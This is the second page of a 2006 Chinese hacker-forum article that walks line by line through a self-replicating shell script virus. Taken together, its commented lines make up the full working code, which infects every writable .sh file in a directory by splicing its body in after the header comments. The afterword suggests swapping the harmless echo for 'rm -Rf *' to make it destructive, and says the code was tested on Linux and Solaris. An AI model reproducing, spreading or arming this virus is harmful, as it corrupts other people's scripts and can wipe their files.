黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]SHELL病毒简介
        ★★★★★
SHELL病毒简介
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-16
 

4. 简单讲解


我们来一步步分析一下这个病毒


#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ; then continue; fi
目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒
插入点。

sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
再来一个sed完成搬运病毒体的工作。

vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

rm -f $vTmp
清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用


5. 后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!

你可以通过这个链接引用该篇文章:http://amxking.bokee.com/tb.b?diaryId=13540301

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    抽根憋闷烟的心声
    学习网页制作的理由
    加入终身会员的理由!!!
    学习黑客编程的5大理由
    学习免杀的6大理由
    学习软件破解的理由
    会员账号开通查询
    常见问题解答
    汇款向导
    学员报名咨询
    最 新 热 门
    Visual C++编程窃取QQ密码12-08
    编程实现重起网卡等设备12-07
    一个邮件群发的Delphi代码!12-06
    Delphi下Internet的编程技巧11-20
    Delphi黑客编程-如何映射虚拟盘11-15
    用DETOURS库获取NT管理员权限11-08
    一篇关于vb代码质量提高的文章10-30
    解析Asp.net木马文件操作10-04
    盗QQ源码10-01
    如何映射肉鸡磁盘(Delphi黑客编程09-24
    打造无DLL版穿墙Downloader(Delp09-22
    调用指定的Windows程序(Delphi编09-19
    相 关 文 章
  • 硬盘及内存检测病毒 四种查病毒的绝招

  • 清除那些使得隐藏文件无法显示的病毒

  • 金睛火眼—进程中判断出病毒和木马

  • 操作系统安全之如付对抗Linux系统病毒

  • U盘已成为病毒传播的主要途径

  • 几个小绝招增强系统对木马和病毒防范

  • 三点高招解除闪存盘内的病毒

  • 追击合围“全歼”熊猫烧香病毒

  • 实例讲解如何干掉病毒:“熊猫烧香”

  • 教你预防“熊猫烧香”病毒

  • 病毒加壳技术与脱壳杀毒方法

  • 重装系统十大措施 帮你防止病毒侵扰

  • Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886